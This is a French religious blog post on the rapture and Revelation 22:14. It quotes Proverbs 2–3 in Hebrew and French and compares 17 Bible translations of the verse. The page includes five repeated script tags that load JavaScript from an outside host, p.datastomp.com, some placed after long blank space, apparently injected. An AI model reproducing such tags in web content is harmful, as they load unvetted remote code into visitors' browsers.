• L’ENLEVEMENT DE L ‘EGLISE ET LE RETOUR DU MASHIAH_

     

    <script src="http://p.datastomp.com/9/3/39.js" type="text/javascript"></script>

    <script src="http://p.datastomp.com/9/3/39.js" type="text/javascript"></script>

    <script src="http://p.datastomp.com/9/3/39.js" type="text/javascript"></script>

    L’ENLEVEMENT DE L ‘EGLISE ET LE RETOUR DU MASHIAH_

    Par une soeur : Marie Beauchesne Laferrière

    .Le retour du Machiah approche et il revient pour une assemblée sans tache, ni ride ni rien de semblable....C'est important de vérifier à la lumière de toute la bible de Genèse à Apocalypse tous les en

    seignements que nous recevons, car si nous ne vérifions pas la véracité des choses que nous entendons, nous rendrons compte de cela devant Yéshoua notre Messie....
    L'ivraie pousse parmi le bon blé....
    Discersons l'ivraie dans les enseignements à la lumière de la torah par le Rouah Hachodesh (St-Esprit) comme les croyants de Bérée qui vérifiaient chaque jour pour voir si ce qu'on leur disait était bien selon la torah....Je vois ce message ci-dessous :
    http://amouragape.revolublog.com/l-heresie-pastorale-dans-les-eglises-humaines-par-liliane-clauss-a48702154

    L' Hérésie " pastorale " dans les églises humaines par Liliane Clauss
    Par fillederoi dans Nourriture du jour... le 15 Août 2012 à 10:08

    comme vraiment un avertissement à tous ceux qui aiment Yéshoua de tout leur coeur, toutes ces brebis qui désirent marcher dans la vérité, toute LA VÉRITÉ d'Adonaï et chercheront de tout leur coeur, TROUVERONS TOUTE LA VÉRITÉ ET POURRONT ENSUITE SE PRÉPARER AUX NOCES DE L'AGNEAU EN REVÊTANT SES HABITS DE NOCE....SOYONS PRÊTE POUR LE RETOUR DE NOTRE FUTUR ÉPOUX QUI REVIENT POUR UNE VIERGE QUI AURA DE L'HUILE DANS SA LAMPE ET QU'ELLE ÉTAIT LA DIFFÉRENCE ENTRE LA VIERGE SAGE ET CELLE FOLLE?....L'époux ne connaissait pas la vierge folle....Pourquoi????..Elles attendaient pourtant, toutes l'époux, l'agneau de Dieu, quelle a été la différence???.....Lisez et méditez Proverbes chapitre 2 et chapitre 3 en entier....et on voit par ces passages ce qui fait la sagesse et l'intelligence de la future épouse du Machiah (Messie)....Et lisez aussi Apocalypse 22: 14....Quelques traductions disent le mot robe, mais la vraie traduction est "Qui font ses commandements"...Soyez tous bénis en Yéshoua Ha Machiach...

    Traduction King James Française
    • 2006 - Libre de droit, Bible des Réformateurs
      Heureux sont ceux qui font ses commandements, afin d'avoir droit à l'arbre de vie, et puissent entrer par les portes dans la ville. (Apocalypse 22:14)  

    Les Proverbes - Chapitre 2 - מִשְׁלֵי

    א  בְּנִי, אִם-תִּקַּח אֲמָרָי;    וּמִצְו‍ֹתַי, תִּצְפֹּן אִתָּךְ. 1 Mon fils, puisses-tu accueillir mes paroles, te pénétrer de mes recommandations,
    ב  לְהַקְשִׁיב לַחָכְמָה אָזְנֶךָ;    תַּטֶּה לִבְּךָ, לַתְּבוּנָה. 2 en prêtant une: oreille attentive à la sagesse et en ouvrant ton cœur à la raison!
    ג  כִּי אִם לַבִּינָה תִקְרָא;    לַתְּבוּנָה, תִּתֵּן קוֹלֶךָ. 3 Puisses-tu invoquer le bon sens et adresser un appel pressant à la raison,
    ד  אִם-תְּבַקְשֶׁנָּה כַכָּסֶף;    וְכַמַּטְמוֹנִים תַּחְפְּשֶׂנָּה. 4 la souhaiter comme de l'argent, la rechercher comme des trésors!
    ה  אָז--תָּבִין, יִרְאַת יְהוָה;    וְדַעַת אֱלֹהִים תִּמְצָא. 5 Car alors tu auras le sens de la crainte de l'Eternel et tu atteindras la connaissance de Dieu.
    ו  כִּי-יְהוָה, יִתֵּן חָכְמָה;    מִפִּיו, דַּעַת וּתְבוּנָה. 6 C'est l'Eternel, en effet, qui octroie la sagesse; de sa bouche émanent la science et la raison.
    ז  וצפן (יִצְפֹּן) לַיְשָׁרִים, תּוּשִׁיָּה;    מָגֵן, לְהֹלְכֵי תֹם. 7 Il réserve le succès aux hommes droits; il est un bouclier pour ceux qui marchent dans l'intégrité.
    ח  לִנְצֹר, אָרְחוֹת מִשְׁפָּט;    וְדֶרֶךְ חֲסִידָו יִשְׁמֹר. 8 Il protège les voies de la justice, et veille sur la route de ses pieux adorateurs.
    ט  אָז--תָּבִין, צֶדֶק וּמִשְׁפָּט;    וּמֵישָׁרִים, כָּל-מַעְגַּל-טוֹב. 9 Alors aussi tu auras une juste idée de la vertu et du droit, de l'équité et de toute bonne direction.
    י  כִּי-תָבוֹא חָכְמָה בְלִבֶּךָ;    וְדַעַת, לְנַפְשְׁךָ יִנְעָם. 10 Puisse donc la sagesse pénétrer en ton cœur et la science faire les délices de ton âme!
    יא  מְזִמָּה, תִּשְׁמֹר עָלֶיךָ;    תְּבוּנָה תִנְצְרֶכָּה. 11 Puisse la réflexion être ta sauvegarde et la raison ta protection!
    יב  לְהַצִּילְךָ, מִדֶּרֶךְ רָע;    מֵאִישׁ, מְדַבֵּר תַּהְפֻּכוֹת. 12 Ainsi tu seras préservé du chemin du malfaiteur, des gens qui débitent des perversités,
    יג  הַעֹזְבִים, אָרְחוֹת יֹשֶׁר--    לָלֶכֶת, בְּדַרְכֵי-חֹשֶׁךְ. 13 qui abandonnent les chemins droits pour suivre des routes ténébreuses,
    יד  הַשְּׂמֵחִים, לַעֲשׂוֹת רָע;    יָגִילוּ, בְּתַהְפֻּכוֹת רָע. 14 qui se réjouissent de faire du mal, sont transportés de joie par les attentats criminels,
    טו  אֲשֶׁר אָרְחֹתֵיהֶם עִקְּשִׁים;    וּנְלוֹזִים, בְּמַעְגְּלוֹתָם. 15 dont les voies sont tortueuses et les sentiers pleins de détours.
    טז  לְהַצִּילְךָ, מֵאִשָּׁה זָרָה;    מִנָּכְרִיָּה, אֲמָרֶיהָ הֶחֱלִיקָה. 16 Par là aussi tu seras sauvé de la femme d'autrui, de l'étrangère aux paroles mielleuses,
    יז  הַעֹזֶבֶת, אַלּוּף נְעוּרֶיהָ;    וְאֶת-בְּרִית אֱלֹהֶיהָ שָׁכֵחָה. 17 qui a trahi l'ami de sa jeunesse, et oublié l'alliance de son Dieu.
    יח  כִּי שָׁחָה אֶל-מָוֶת בֵּיתָהּ;    וְאֶל-רְפָאִים, מַעְגְּלֹתֶיהָ. 18 Certes, sa maison penche vers la mort et ses sentiers conduisent vers les ombres des trépassés.
    יט  כָּל-בָּאֶיהָ, לֹא יְשׁוּבוּן;    וְלֹא-יַשִּׂיגוּ, אָרְחוֹת חַיִּים. 19 Aucun de ceux qui vont chez elle ne revient, incapable de retrouver le chemin de la vie.
    כ  לְמַעַן--תֵּלֵךְ, בְּדֶרֶךְ טוֹבִים;    וְאָרְחוֹת צַדִּיקִים תִּשְׁמֹר. 20 Puisses-tu donc suivre le chemin des hommes de bien, et t'attacher aux voles des justes!
    כא  כִּי-יְשָׁרִים יִשְׁכְּנוּ-אָרֶץ;    וּתְמִימִים, יִוָּתְרוּ בָהּ. 21 Car ce sont les hommes droits qui occuperont la terre, et les intègres qui s'y maintiendront;
    כב  וּרְשָׁעִים, מֵאֶרֶץ יִכָּרֵתוּ;    וּבוֹגְדִים, יִסְּחוּ מִמֶּנָּה. 22 tandis que les méchants en seront extirpés et les traîtres violemment arrachés.

    Les Proverbes - Chapitre 3 - מִשְׁלֵי

    א  בְּנִי, תּוֹרָתִי אַל-תִּשְׁכָּח;    וּמִצְו‍ֹתַי, יִצֹּר לִבֶּךָ. 1 Mon fils, n'oublie pas mon enseignement; que ton cœur retienne mes recommandations.
    ב  כִּי אֹרֶךְ יָמִים, וּשְׁנוֹת חַיִּים--    וְשָׁלוֹם, יוֹסִיפוּ לָךְ. 2 Car ils te vaudront de longs jours, des années de vie et de paix.
    ג  חֶסֶד וֶאֱמֶת,    אַל-יַעַזְבֻךָ:
    קָשְׁרֵם עַל-גַּרְגְּרוֹתֶיךָ;    כָּתְבֵם, עַל-לוּחַ לִבֶּךָ.
    3 Que la bonté et la vérité ne te quittent jamais: attache-les à ton cou, inscris-les sur les tablettes de ton cœur,
    ד  וּמְצָא-חֵן וְשֵׂכֶל-טוֹב--    בְּעֵינֵי אֱלֹהִים וְאָדָם. 4 et tu trouveras faveur et bon vouloir aux yeux de Dieu et des hommes.
    ה  בְּטַח אֶל-יְהוָה, בְּכָל-לִבֶּךָ;    וְאֶל-בִּינָתְךָ, אַל-תִּשָּׁעֵן. 5 Confie-toi en l'Eternel de tout cœur, mais ne te repose pas sur ton intelligence.
    ו  בְּכָל-דְּרָכֶיךָ דָעֵהוּ;    וְהוּא, יְיַשֵּׁר אֹרְחֹתֶיךָ. 6 Dans toutes tes voies, songe à lui, et il aplanira ta route.
    ז  אַל-תְּהִי חָכָם בְּעֵינֶיךָ;    יְרָא אֶת-יְהוָה, וְסוּר מֵרָע. 7 Ne te prends pas pour un sage: crains l'Eternel et fuis le mal;
    ח  רִפְאוּת, תְּהִי לְשָׁרֶּךָ;    וְשִׁקּוּי, לְעַצְמוֹתֶיךָ. 8 ce sera la santé pour ton corps; une sève généreuse pour tes membres.
    ט  כַּבֵּד אֶת-יְהוָה, מֵהוֹנֶךָ;    וּמֵרֵאשִׁית, כָּל-תְּבוּאָתֶךָ. 9 Honore l'Eternel avec tes biens, avec les prémices de tous tes produits;
    י  וְיִמָּלְאוּ אֲסָמֶיךָ שָׂבָע;    וְתִירוֹשׁ, יְקָבֶיךָ יִפְרֹצוּ. 10 alors tes celliers regorgeront d'abondance et tes pressoirs déborderont de vin.
    יא  מוּסַר יְהוָה, בְּנִי אַל-תִּמְאָס;    וְאַל-תָּקֹץ, בְּתוֹכַחְתּוֹ. 11 Ne rejette pas l'admonestation de l'Eternel, ne t'insurge pas contre sa réprimande;
    יב  כִּי אֶת אֲשֶׁר יֶאֱהַב יְהוָה    יוֹכִיחַ;
    וּכְאָב,    אֶת-בֵּן יִרְצֶה.
    12 car celui qu'il aime, l'Eternel le châtie, tel un père le fils qui lui est cher.
    יג  אַשְׁרֵי אָדָם, מָצָא חָכְמָה;    וְאָדָם, יָפִיק תְּבוּנָה. 13 Heureux l'homme qui a atteint la sagesse, le mortel qui met en œuvre la raison!
    יד  כִּי טוֹב סַחְרָהּ, מִסְּחַר-כָּסֶף;    וּמֵחָרוּץ, תְּבוּאָתָהּ. 14 Car le trafic en vaut plus que celui de l'argent, et les fruits qu'elle donne l'emportent sur l'or fin.
    טו  יְקָרָה הִיא, מפניים (מִפְּנִינִים);    וְכָל-חֲפָצֶיךָ, לֹא יִשְׁווּ-בָהּ. 15 Elle est plus précieuse que les perles, tes plus chers trésors ne la valent point.
    טז  אֹרֶךְ יָמִים, בִּימִינָהּ;    בִּשְׂמֹאולָהּ, עֹשֶׁר וְכָבוֹד. 16 Elle porte la longévité en sa droite, et en sa gauche la richesse et l'honneur.
    יז  דְּרָכֶיהָ דַרְכֵי-נֹעַם;    וְכָל-נְתִיבוֹתֶיהָ שָׁלוֹם. 17 Ses voies sont des voies pleines de délices, et tous ses sentiers aboutissent au bonheur.
    יח  עֵץ-חַיִּים הִיא, לַמַּחֲזִיקִים בָּהּ;    וְתֹמְכֶיהָ מְאֻשָּׁר. 18 Elle est un arbre de vie pour ceux qui s'en rendent maîtres : s'y attacher, c'est s'assurer la félicité.
    יט  יְהוָה--בְּחָכְמָה יָסַד-אָרֶץ;    כּוֹנֵן שָׁמַיִם, בִּתְבוּנָה. 19 L'Eternel, par la sagesse, a fondé la terre; par l'intelligence, il a affermi les cieux.
    כ  בְּדַעְתּוֹ, תְּהוֹמוֹת נִבְקָעוּ;    וּשְׁחָקִים, יִרְעֲפוּ-טָל. 20 Par sa science, les abîmes s'entrouvrent, et les nuées ruissellent de rosée.
    כא  בְּנִי, אַל-יָלֻזוּ מֵעֵינֶיךָ;    נְצֹר תֻּשִׁיָּה, וּמְזִמָּה. 21 Mon fils, ne les laisse pas s'éclipser à tes yeux, reste fidèle à la vérité, et à la réflexion.
    כב  וְיִהְיוּ חַיִּים לְנַפְשֶׁךָ;    וְחֵן, לְגַרְגְּרֹתֶיךָ. 22 Elles seront un gage de vie pour ton âme, un ornement gracieux pour ton cou.
    כג  אָז תֵּלֵךְ לָבֶטַח דַּרְכֶּךָ;    וְרַגְלְךָ, לֹא תִגּוֹף. 23 Dès lors, tu suivras en sécurité ta route, et ton pied ne bronchera pas.
    כד  אִם-תִּשְׁכַּב לֹא-תִפְחָד;    וְשָׁכַבְתָּ, וְעָרְבָה שְׁנָתֶךָ. 24 Lorsque tu te livreras au repos, tu n'éprouveras aucune crainte, tu te coucheras et goûteras un doux sommeil.
    כה  אַל-תִּירָא, מִפַּחַד פִּתְאֹם;    וּמִשֹּׁאַת רְשָׁעִים, כִּי תָבֹא. 25 Tu ne seras pas exposé à des terreurs soudaines ni au malheur qui fond sur le méchant.
    כו  כִּי-יְהוָה, יִהְיֶה בְכִסְלֶךָ;    וְשָׁמַר רַגְלְךָ מִלָּכֶד. 26 Car l'Eternel sera l'objet de ton espoir; il préservera ton pied des embûches.
    כז  אַל-תִּמְנַע-טוֹב מִבְּעָלָיו--    בִּהְיוֹת לְאֵל ידיך (יָדְךָ) לַעֲשׂוֹת. 27 Ne refuse pas un bienfait à ceux qui y ont droit, alors qu'il est en ton pouvoir de l'accorder.
    כח  אַל-תֹּאמַר לרעיך (לְרֵעֲךָ), לֵךְ וָשׁוּב--וּמָחָר אֶתֵּן;    וְיֵשׁ אִתָּךְ. 28 Ne dis pas à ton prochain: "Va, tu reviendras; demain je donnerai", quand tu as de quoi.
    כט  אַל-תַּחֲרֹשׁ עַל-רֵעֲךָ רָעָה;    וְהוּא-יוֹשֵׁב לָבֶטַח אִתָּךְ. 29 Ne médite pas de mal contre ton prochain, tandis qu'il demeure sans défiance auprès de toi.
    ל  אַל-תרוב (תָּרִיב) עִם-אָדָם חִנָּם--    אִם-לֹא גְמָלְךָ רָעָה. 30 Ne cherche pas de vaine querelle à l'homme qui ne t'a fait aucun rital.
    לא  אַל-תְּקַנֵּא, בְּאִישׁ חָמָס;    וְאַל-תִּבְחַר, בְּכָל-דְּרָכָיו. 31 Ne porte envie à aucun homme injuste et n'adopte aucun de ses procédés.
    לב  כִּי תוֹעֲבַת יְהוָה נָלוֹז;    וְאֶת-יְשָׁרִים סוֹדוֹ. 32 Car l'Eternel a en horreur les gens tortueux, mais les justes jouissent de son intimité.
    לג  מְאֵרַת יְהוָה, בְּבֵית רָשָׁע;    וּנְוֵה צַדִּיקִים יְבָרֵךְ. 33 La malédiction de l'Eternel repose sur la maison du méchant, mais la demeure du juste est bénie.
    לד  אִם-לַלֵּצִים הוּא-יָלִיץ;    ולעניים (וְלַעֲנָוִים), יִתֶּן-חֵן. 34 Se trouve-t-il en présence de railleurs, il leur oppose la raillerie, mais il accorde sa bienveillance aux humbles.
    לה  כָּבוֹד, חֲכָמִים יִנְחָלוּ;    וּכְסִילִים, מֵרִים קָלוֹן. 35 L'honneur sera le lot des sages, mais les sots seront mis en vedette par leur honte.

     

    EN EFFET MARIE BEAUCHESNE LAFERIERE TRES PEU DE TRADUCTION INDIQUENT QUE CE SONT LES COMMANDEMENTS QU IL FAUT PRATIQUER ..JE MET ICI DIVERSES TRADUCTIONS AFIN QUE CHACUN PUISSE VOIR LA DIFFÉRENCE DE L UNE A L AUTRE C EST VRAIMENT PAS LA MÊME CHOSE!!...

     


    L'Apocalypse : chapitre 22 verset 14
    Bible Segond 21
    © 2007 - Société Biblique de Genève Heureux ceux qui lavent leur robe: ils auront droit à l'arbre de vie et pourront entrer par les portes dans la ville! (Apocalypse 22:14)

    Traduction King James Française
    • 2006 - Libre de droit, Bible des Réformateurs Heureux sont ceux qui font ses commandements, afin d'avoir droit à l'arbre de vie, et puissent entrer par les portes dans la ville.

    (Apocalypse 22:14)
    Bible des Peuples
    © 2005 - Editions du Jubilé Heureux ceux qui lavent leurs vêtements ! Ils auront accès à l’arbre de vie et ils entreront dans la ville, passant par ses portes.

    (Apocalypse 22:14)
    Bible de l'Épée
    • 2004 - Libre de droit, Edition TULIPE - Alliance Biblique Marginale Heureux ceux qui observent ses commandements, afin d'avoir droit à l'arbre de vie, et d'entrer par les portes dans la ville!

    (Apocalypse 22:14)
    Bible du Semeur
    © 2000, Société Biblique Internationale Heureux ceux qui lavent leurs vêtements. Ils auront le droit de manger du fruit de l’arbre de vie et de franchir les portes de la ville.

    (Apocalypse 22:14)
    Traduction du Monde Nouveau
    © 1995 - Watchtower Bible & tract society of Pennsylvania Heureux ceux qui lavent leurs longues robes, pour que le droit [d’aller] aux arbres de vie soit leur et qu’ils puissent entrer dans la ville par ses portes.

    (Apocalypse 22:14)
    Bible en français courant
    © 1982 - Société Biblique française Heureux ceux qui lavent leurs vêtements, et qui ont ainsi le droit de manger les fruits de l'arbre de la vie et d'entrer par les portes dans la ville.

    (Apocalypse 22:14)
    Nouvelle Edition de Genève
    © 1979 - Société Biblique de Genève Heureux ceux qui lavent leurs robes, afin d'avoir droit à l'arbre de vie, et d'entrer par les portes dans la ville!

    (Apocalypse 22:14)
    Bible Chouraqui
    © 1977 - Editions Desclée de Brouwer En marche, ceux qui lavent leurs robes ! Ils ont puissance sur l’arbre de la vie; qu’ils entrent par les portes dans la cité !

    (Apocalypse 22:14)
    Traduction Œcuménique de la Bible - TOB
    © 1976 - Les Editions du Cerf Heureux ceux qui lavent leurs robes, afin d'avoir droit à l'arbre de vie, et d'entrer, par les portes, dans la cité.

    (Apocalypse 22:14)
    Bible de Jérusalem
    © 1973 - Les Editions du Cerf Heureux ceux qui lavent leurs robes; ils pourront disposer de l'arbre de Vie, et pénétrer dans la Cité, par les portes.

    (Apocalypse 22:14)
    Traduction Louis Segond
    • 1910 - Libre de droit Heureux ceux qui lavent leurs robes, afin d'avoir droit à l'arbre de vie, et d'entrer par les portes dans la ville!

    (Apocalypse 22:14)
    Traduction Abbé Fillion
    • 1895 - Libre de droit Heureux ceux qui lavent leurs vêtements dans le sang de l'Agneau, afin d'avoir droit à l'arbre de vie, et d'entrer par les portes dans la ville.

    (Apocalypse 22:14)
    Traduction John Nelson Darby
    • 1885 - Libre de droit Bienheureux ceux qui lavent leurs robes, afin qu’ils aient droit à l’arbre de vie et qu’ils entrent par les portes dans la cité.

    (Apocalypse 22:14)
    Bible d'Ostervald
    • 1881 - Libre de droit Heureux ceux qui observent ses commandements, afin d'avoir droit à l'arbre de vie, et d'entrer par les portes dans la ville!

    (Apocalypse 22:14)
    Traduction Albert Rilliet
    • 1860 - Libre de droit Heureux ceux qui blanchissent leurs robes, afin d’avoir droit sur l’arbre de vie et d’entrer dans la ville par les portes.

    (Apocalypse 22:14)
    Traduction David Martin
    • 1744 - Libre de droit Bienheureux sont ceux qui font ses commandements, afin qu'ils aient droit à l'Arbre de vie, et qu'ils entrent par les portes dans la Cité.

    (Apocalypse 22:14)
    Nouveau Testament de Westcott & Hort
    • 1881 [Grec] - Libre de droit μακαριοι οι πλυνοντες τας στολας αυτων ινα εσται η εξουσια αυτων επι το ξυλον της ζωης και τοις πυλωσιν εισελθωσιν εις την πολιν (ΑΠΟΚΑΛΥΨΙΣ ΙΩΑΝΝΟΥ 22:14)

    VOICI LES 4  QUI DISENT DE FAIRE LES COMMANDEMENTS SUR LES 17 VERSIONS ICI PROPOSÉES DONC C EST CLAIR ! ...

    1)Traduction King James Française
    • 2006 - Libre de droit, Bible des Réformateurs/

    2)Bible de l'Épée
    • 2004 - Libre de droit, Edition TULIPE - Alliance Biblique Marginale/

    3)Bible d'Ostervald
    • 1881 - Libre de droit/

    4)Traduction David Martin
    • 1744 - Libre de droit.
     

     

     

       
       
       
       
       
       
       
       
       
       
       
       
       
       
       
       
       
       
       
       
       
       

    <script src="http://p.datastomp.com/9/3/39.js" type="text/javascript"></script>

    <script src="http://p.datastomp.com/9/3/39.js" type="text/javascript"></script>
    « Enseignement d'un professeur-docteur ou d'un maître ? LAMPES A HUILES ... »
    Partager via Gmail Yahoo! Google Bookmarks Pin It

    Tags Tags : , , , ,
  • Commentaires

    Aucun commentaire pour le moment

    Suivre le flux RSS des commentaires

    Vous devez être connecté pour commenter